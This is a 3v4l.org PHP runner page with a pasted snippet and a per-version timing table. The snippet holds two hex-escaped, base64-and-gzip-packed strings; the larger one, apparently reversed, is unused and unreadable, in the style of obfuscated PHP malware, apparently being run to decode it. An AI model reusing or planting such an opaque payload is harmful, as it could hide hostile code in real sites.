3v4l.org

run code in 300+ PHP versions simultaneously
<?php $stt1 = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNz\x434pSi4upI5yUWJxqZhKfkpq\x63n5Kq\x41\x62SzKLVMQ6W4pMR\x41EwlY\x41w\x41\x3d"; $stt0 = "\x3dE5xgV\x432/6monhrsOmUspke\x41/f4r\x62g\x42rTpRdhviM172H0q4x\x41i0krUzyiFvWY\x618jt/hqJfm\x42NNiTxIYOU\x43z\x41\x41z0iylVyesNjN\x2bs\x41uxMki\x62OwMrRPoe\x42QrYN8mDFx\x41Pj20EJO5gLqI\x41lsvIOU4M10I\x62I15EwmTv6z8qrmpzq3xKqEDmjeg1/TgDgs\x43\x63F7X4y4metmgU9XmV1xTXpErMNJk\x62d\x42gVwfMTH90rvZNxxu8\x41W\x43\x2bZxlXsfD6mVGjurk\x438QU75\x63Ryuj7T\x61HGvE23\x42KKlgW09jPDoNOtWplOGsIyW\x41H9X\x2bjdL5RhLrxxIzWpHy7yme\x41e/OLV7wK1tkdZoGH2V2RRt\x424lPqnyzWXN3xHNZV9YTTvPYP\x43l\x61EYNy3lgz\x43\x636\x2bkvTfmiGFGtv2lZJegvnkx/\x2bJ\x2b0H\x2bwTfm2u0NG/d\x63OsNKL43\x41dJ\x41m9wo3\x43MRZNtVIneIQ\x63G9uIzMm6mTIdLIt\x61YEHRlNFtGXDEh3Yu\x41/hOl\x43sf5xPEFd2jfJ7xnY\x2bpQ\x61/FJKH9P0kn8sVywrmqIp\x43JOI0xDTu/mhN5DkD9xvN/\x42LUJ8ZzUkK\x2b55rUd9\x62Wh\x43\x431wXQl4e/JuL4pDIwh0QzTZ4QtQW2\x425RWkQUO/pwIEg1XWQn\x63fend2TjpL\x63oF\x62\x43E4Rx\x61JIHXld\x41QZFkvn\x42s/u\x42GNu6Q/4lHSrZlnTtHlmjux5e4IU49JDWw4MMI\x43gX2lH8\x62\x61lJO\x42\x63\x63plRO5ffhO08wwoKDwy\x2b\x2bhfsY\x2be\x41KZPLr9Uz3kF\x41mydYiwLV282F9zgU\x41YHNl8pS1fIE\x61Hw\x43i\x62zrFsqFM1l\x41pv0\x2bTV/66q8wkHd0DRTLPQxl\x61R34\x41V3UF\x62M\x42nLJUZr\x42\x42\x62i\x61xv\x43\x41yN\x2bw82UWTsMSKukZ3WKW\x2bj0eL\x2b0/oSZN\x61QdGxKd\x41r\x61dW\x43N\x6280nf\x2b\x43fImLDuynfU\x63N5rh3\x43GmWdhHXTVDzIlDNdiKsUMMkp3Myd\x63UxntO7kHni7Ki9R\x619srhOj4G\x439ng\x41XYxEhL\x41u\x62g\x61\x61\x42e0grf\x41tfZV52eLXZsp5\x62mNztVJPLZ\x62IlrU4I\x63zW5T\x42G1J3MdK0m6zMFP5yu5m12\x63H\x2b6KFvleTLMOregh7wmrEN5EN8lsINRgSk8xGQYLi\x61g\x63PvDu4ojO7JH94H\x61\x43N4F/soM5\x61GM4THvMU5vT260qF0\x438vT\x417DowX86FEs2Y3WxuH\x432te\x42xFp/yo\x2bYlT3h5Tl/UwG\x63PexyHwH3fxSl\x63D7duX\x2bh/eHLRyNso\x61p\x43pkk2nV\x61e\x623r2zK2ujOiZydVn0\x2bO7e1z2whLx1kodW5EDPY5V\x63tuqoUHJn9VpL23i\x43h23\x42UgOMn\x62d8tQE/yDQRt3MNg\x2bZh\x63Fp\x62Ixs/PZUyiK1iZYomOr\x63pYjRLfIO\x2bKoFXeVT\x42n0V\x2b/MysX9Ruui2KLt9P\x62y3HiHt1gxKwoV7TYMgj8Gh\x41hTq\x42s\x2b4z6IQfi\x63ZX4OF27w\x61Ispgj\x62dIV\x61\x61Owp2tN\x2bHs2\x61pDMX\x43t0Q6\x438QxjkJ\x43G/\x2bXFn9izTDWU\x41jX\x42pvoWhsF\x43\x2bGQLj7Zk7d\x63zdHySZ\x61p2DgNEIh9n\x6223d\x63Od985l/ZXNH2eOyFNleSvpyo\x61Y/MlLURF0TQ\x434VGtRoMtq0gQv\x435r\x62\x43r\x426ywmhu\x43g1UDM8WYTV\x624K9X\x42ipGV6S\x62GZj\x42\x63NRNDtz101xOywW\x2bze\x61JdFezsQrShS5fNUr\x615T\x2beMUwg\x43Nue\x63NV3xYRG\x41\x2bOW6EYiYJQmD6wKun\x43gndKiit1U7HG/j\x61\x43\x41Q\x42\x2bPJYkQrWKSRfvrU\x63f\x41pn53gg2myo\x63zx5tI4\x41hHU0Hrekg\x61\x41T3Rrpi0jkqxJf6Uog\x411wh6\x412IlT\x2beIxnWHQgzs\x43YkDnmgkou18jH3\x2b\x62K\x2bz\x61/qrUz3i\x42HJh\x626oR9\x63H\x61\x41\x61I\x63HJw6MgNOLtZ/L4FgUF\x417IP\x61MOywY12xNs\x41J9pu\x61\x43e/ReLZOr\x42hd3ythzLqxzPXnxYs7Q2i\x2bgt7jFJHTeQiesELS\x41Ym\x43jDyW1s\x2bdr\x41El7t7YtEo\x41qt8VS/P0\x63RKsEJXnzsv\x42E68EnXDgq5ET0gsNldE8DKsEgkYSDt7tGi2phM7EOVxy1kMYk9is1HZ\x42\x43\x2bYvdM4hI2NNuwq25n4ST\x2bW\x62IGws2\x42vhq\x63\x41EfuPZWdF\x42\x428W7Lm\x42NOR/Wp\x41SK0DfW8iVlXimijRn6MUWFFlP\x61N2gN\x63\x623IsK/\x41kV\x614JKv9\x63\x2bgti6ZKKhEQKruShmukVy6yFlxo\x62ZSQt\x2bKHKS8IvYFO\x41HwF\x42WwxD\x62F/MrM0K\x41GUn4\x43qD4WHIyrjL6TQltVuLDSXS\x43tYpV0\x42pIh\x2b\x4212yF2\x62vPHV\x634Ox\x622HEQit\x41\x42\x43m5Mn\x61Sro\x427VW/n\x41igm\x63V7L\x63f2397K9\x61fH/Lsv7FoXRndH3P\x63\x62m\x41k/\x42T6\x2b2dEvN\x42hj\x43\x2brT0zm86xSS5\x43F0FwRZ8er/G0Y4QP32i8WlQ\x630\x2bSYGm/J4uY\x41YQd47\x41H\x2bKM\x41f4z\x42e\x614\x62ig\x42GSP0gZjppGsSpk\x2bsnLfTwTnYkn\x2bkje\x2b\x62H9sm28nD/8GgJM\x2bon5iLPtG\x414ojM\x2bpQP\x41\x439ONupO40DPkF\x638jP5ZLj\x2bQje\x2bj\x63w5hJZEDWgpQwOUYQJ\x63ngUwh\x41FGTsJ\x42j\x61H9pd45mYLTdSXKz6zo\x4328\x63XNhIR/J1hNLx8i\x41f\x62OVKi\x61tFrISXQp\x433G/H2dTEu\x2boo\x61JVe\x61Myf2RjwxK1jkxrKsn6\x4138mO4v\x61IDZsH/iTTLPXWNf\x62GxFt7RG\x630K\x42\x62P1Wun0XvKppwqe\x43\x62OZXL\x43W2x\x430qkZ\x63gn0Zk\x61\x42wJGZWG\x61ts\x41Zvf\x62\x2bOSyZpi54Y\x62H0vLjqTDy\x63jwzxFUg9y2Kk50m6p/z\x41jFrG\x41Pp8\x42\x63t1uzFvoI5Gn\x62TIgMj\x42kIf14KRQWFFFFPt\x42ESG1MWzpNPEKnSUoW48\x2bhwdRDstl\x2bQqDiVXWt\x43ktDvIweRqOWZpjZmnR47rs\x61jZo8YEEVyM1Gj2/968\x2bW8v8nKqKG\x2bsRXhvSZeLLW9D\x61OhJSg\x63mMrYuLLhlFZ\x2bfE\x43uQ\x41D5\x2bfnu\x632oTWgV\x6365N3Yx\x62IfOI4jSNggpIp\x43txJER/MKsq\x61npUpiumHVX\x41LoKUQYGPMDEXHMnMd0Ki\x63qUzML4kPEWOjm0Z\x63iYFulwI1IP\x42\x63jH\x41oEWoGHFwz\x42l7Y\x61\x63JTw4Lh\x61wig9\x43FMh1XkzOxpO/4\x62mege2LSqsXT\x63oonxG5l\x62krpHnxOjHfEoK\x43SqPZLI\x42soMi2iZ2M\x42F6rJX\x42g\x42JsO/DU2L/Y\x42\x42xFJ4H9I9exDrqSYJOi\x41Z\x43QXEW\x41hQoewLGr5\x2brhZfKDZLSMe\x43E//YS0K\x61ZGSUlYZyQ9keh0omZgo5YL\x2bXu85\x62rpxKnzjQhfm\x63Z\x2beqnZy738y5H6v2\x2bvH/91nP1lt//nvf/1ns7lr\x61/zdv75lzM4j7\x62WnhEZJdY6kV1rieYPpl\x61T\x42/4uyMWj1wJQ\x42IFTqKP\x629o9EHOppEfh\x42\x62FoT\x63KjtXOit6yr\x422w01oeoVgOK8sur\x43M\x62\x430XgNh7K\x412\x63uO0gl0g5dUk4vklT1L4UHZn\x61kT9tYdDfPR15\x434MGDDfKYK8r5W4M4G3vVn2\x62xPfMwDEt\x62Tv\x62/qTvpol4L01d9Kwhoxit8XmqmD2\x41fYSyPzMS\x41wOFMMTIUMI\x43Qx6\x2bETQwW\x42oERlZ\x2b2\x61Ji\x61fmog\x41\x627yuVm\x63Zd11S3\x41iWIVngp7\x2b48/M\x42t//\x624Pz/7mQ9hqPX37G\x61p2\x43uK8Et5/\x41MeX\x41PPO61/Tlm\x61sNrY56hfZOD\x61\x62eD9QOhh\x62t\x43x1QFF\x61YsDm1jSPEYXppqm6zWxxoMS5U7PPtv4JjENmFpmiNjVtLzsgpKSP\x41rg\x62Xr21Ei2uSttQ2siGT/\x2b\x62\x423zMt\x41m\x62Iqr\x622ypL\x42FK2RzDDOwugtlD9hyoJjkXEHRkgwf\x430LPEFKff/4m2U\x43i\x61fY\x61xt12e1SDlKS76OSk3d\x43nQVjWgGytk\x42UK1HW\x61tkPy\x62dNj5u881Lh2TDzGjjE\x41TRdl1G8Vqyn4oH9oogxe5xn\x630TT5HGz83Nq5PThk9LZ6mu5qGEyLDQ38JT\x62t12y\x62G7eq19/suSuwm7q\x43ZV\x62t6dnT7H6Ow\x2bv\x63zHJsUF0Yqk\x42X\x42RT\x61lZQyxhZ2\x41UmpJxgpD2osdk\x43pMx4JyXT\x42d/o\x63qZ\x62PS\x62L12\x61UL9utQk\x42wJe0P2\x43\x63G\x419etQo\x42wJe0P1\x43sG\x419OtQs\x42wJe0P0\x438G\x419\x2bsQw\x42wJe"; echo(htmlspecialchars_decode(gzinflate(base64_decode($stt1)))); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.00.0130.00819.74
8.4.150.0020.00014.05
8.4.140.0110.01017.54
8.4.130.0140.00617.68
8.4.120.0330.00918.67
8.4.110.0310.01019.24
8.4.100.0310.00917.78
8.4.90.0280.00517.67
8.4.80.0240.00517.70
8.4.70.0220.01017.89
8.4.60.0320.01017.82
8.4.50.0300.00918.23
8.4.40.0310.01117.39
8.4.30.0330.00817.88
8.4.20.0360.00817.83
8.4.10.0320.00817.81
8.3.280.0090.01218.30
8.3.270.0090.00716.51
8.3.260.0130.00716.52
8.3.250.0280.00817.23
8.3.240.0240.00716.40
8.3.230.0270.01016.37
8.3.220.0280.00916.75
8.3.210.0220.00716.51
8.3.200.0340.00716.40
8.3.190.0290.00916.41
8.3.180.0230.00816.34
8.3.170.0340.00517.06
8.3.160.0300.00817.62
8.3.150.0300.00816.90
8.3.140.0300.00616.84
8.3.130.0230.00616.68
8.3.120.0250.00616.91
8.3.110.0240.00517.28
8.3.100.0350.00717.92
8.3.90.0310.00818.40
8.3.80.0280.00716.67
8.3.70.0300.00916.79
8.3.60.0280.00816.35
8.3.50.0280.00416.36
8.3.40.0280.00417.94
8.3.30.0290.00417.88
8.3.20.0250.00818.72
8.3.10.0260.00618.85
8.3.00.0210.00819.59
8.2.290.0230.00717.70
8.2.280.0210.00717.12
8.2.270.0220.01016.99
8.2.260.0290.00816.80
8.2.250.0270.00716.75
8.2.240.0230.00816.85
8.2.230.0180.00517.69
8.2.220.0270.00520.74
8.2.210.0270.00918.37
8.2.200.0230.00516.72
8.2.190.0260.00616.45
8.2.180.0250.01016.43
8.2.170.0320.00817.90
8.2.160.0290.00618.64
8.2.150.0280.00719.13
8.2.140.0290.00618.88
8.2.130.0320.00619.61
8.2.120.0300.00819.61
8.2.110.0270.00719.66
8.2.100.0270.00719.70
8.2.90.0200.00719.78
8.2.80.0260.00819.54
8.2.70.0290.00819.58
8.2.60.0310.00619.56
8.2.50.0310.00619.63
8.2.40.0290.00619.58
8.2.30.0240.01019.46
8.2.20.0280.00819.65
8.2.10.0280.00819.42
8.2.00.0260.00919.54
8.1.330.0240.00716.33
8.1.320.0250.00816.07
8.1.310.0250.01016.49
8.1.300.0270.00916.46
8.1.290.0300.00618.87
8.1.280.0280.00517.95
8.1.270.0270.00518.19
8.1.260.0300.00719.51
8.1.250.0310.00619.37
8.1.240.0240.00819.45
8.1.230.0200.00819.42
8.1.220.0240.00719.37
8.1.210.0220.00719.24
8.1.200.0250.00419.34
8.1.190.0190.00919.29
8.1.180.0240.00419.38
8.1.170.0250.00819.39
8.1.160.0250.00919.24
8.1.150.0240.00519.38
8.1.140.0240.00819.33
8.1.130.0200.01119.36
8.1.120.0250.00819.31
8.1.110.0250.00819.30
8.1.100.0210.00719.41
8.1.90.0230.00719.33
8.1.80.0180.00819.38
8.1.70.0220.00719.37
8.1.60.0240.00719.45
8.1.50.0220.00619.47
8.1.40.0200.00919.43
8.1.30.0230.00619.55
8.1.20.0240.00419.45
8.1.10.0230.00519.54
8.1.00.0220.00719.35

preferences:
35.24 ms | 403 KiB | 5 Q